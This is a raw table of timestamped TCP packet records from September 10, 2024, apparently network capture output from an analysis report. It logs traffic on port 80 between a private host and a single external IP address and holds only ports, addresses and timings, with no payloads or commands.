Sep 10, 2024 19:36:07.452274084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452311039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452322006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452332020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452342987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452368021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452397108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452423096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452440977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452454090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452461958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452471972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452483892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452505112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452514887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452524900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452538013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452553988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452564955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452572107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452583075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452615023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452630997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452630997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452641010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452651024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452673912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452692032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452692032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452722073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452733040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452759981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452769995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452774048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452780962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452811956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452826023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452842951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452853918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452862024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452900887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452900887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452910900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452914000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452938080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452949047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452951908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452959061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452976942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.453001022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.453211069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453222036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453259945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.453321934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453331947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453341961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453351021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453361034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453370094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.453371048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453381062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453383923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.453394890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.453422070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.453591108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453600883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453609943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453619957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453629971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453639984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.453641891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.453670025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.453685999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.475197077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.475207090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.475217104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.475313902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.475323915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.475332975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.475342035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.475351095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.475367069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.475367069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.475400925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.475400925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.475400925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.476154089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476161957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476171017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476207018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.476219893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476227999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.476231098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476239920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476263046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.476275921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.476366043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476376057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476385117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476412058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.476425886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.476455927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476464987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476474047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476483107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476492882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476501942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476505995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.476511955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476532936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.476547003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.476588964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476605892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476615906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476624966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476634979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476634979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.476644039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.476661921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.476691961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489347935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489361048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489372015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489383936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489406109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489425898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489439964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489450932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489460945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489470005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489485979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489507914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489542007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489552021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489561081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489571095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489589930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489590883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489599943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489609957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489617109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489620924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489629984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489645004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489655972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489659071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489665985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489676952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489691019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489715099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489770889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489780903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489792109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489819050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489833117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489859104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489869118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489878893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489902973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489923954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.489948988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489960909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489969969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489993095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.489998102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.490003109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.490024090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.490042925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.539347887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539398909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539407015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539442062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.539446115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539455891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539464951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539470911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.539474964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539494038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.539521933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.539621115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539630890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539638996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539649010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539658070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539666891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539675951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539676905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.539688110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539690018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.539699078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539700031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.539720058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.539742947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.539757967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539768934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539772987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539777994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539792061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539802074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539810896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539820910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539822102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.539844036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.539856911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.539951086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539961100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539969921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539975882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539980888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.539985895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540016890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540045023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540103912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540113926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540122986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540131092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540150881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540169954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540385008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540393114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540402889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540411949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540421009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540431023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540435076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540452957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540469885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540540934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540550947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540560007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540569067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540576935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540587902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540589094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540596962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540605068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540617943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540622950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540633917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540640116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540643930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540652990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540661097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540663004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540671110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540680885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.540683031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540709019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.540725946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.561530113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.561537981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.561546087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.561584949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.561593056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.561595917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.561605930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.561749935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.561759949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.561794043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.561794043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.561892986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.562453032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.562506914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.562509060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.562517881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.562546968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.562560081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.562582016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.562592030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.562601089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.562609911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.562618971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.562628984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.562654018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.562668085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.562686920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.562697887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.562706947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.562733889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.562747955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.562971115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.563021898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.563050985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.563060045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.563096046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.563132048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.563142061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.563150883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.563160896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.563170910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.563184977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.563199997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.563215017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.563222885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.563226938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.563235998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.563246012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.563261032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.563288927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.575874090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.575882912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.575892925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.575922012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.575931072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.575941086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.575951099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.575959921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576045990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.576062918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576071978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576080084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576090097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576097965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576107025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576184034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576193094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576201916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576210976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576220036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576229095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576236963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576246023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576250076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.576250076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.576250076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.576250076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.576261997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576265097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.576272011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576281071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576288939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.576288939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576309919 CEST	49707	80	192.168.2.5	45.152.113.10
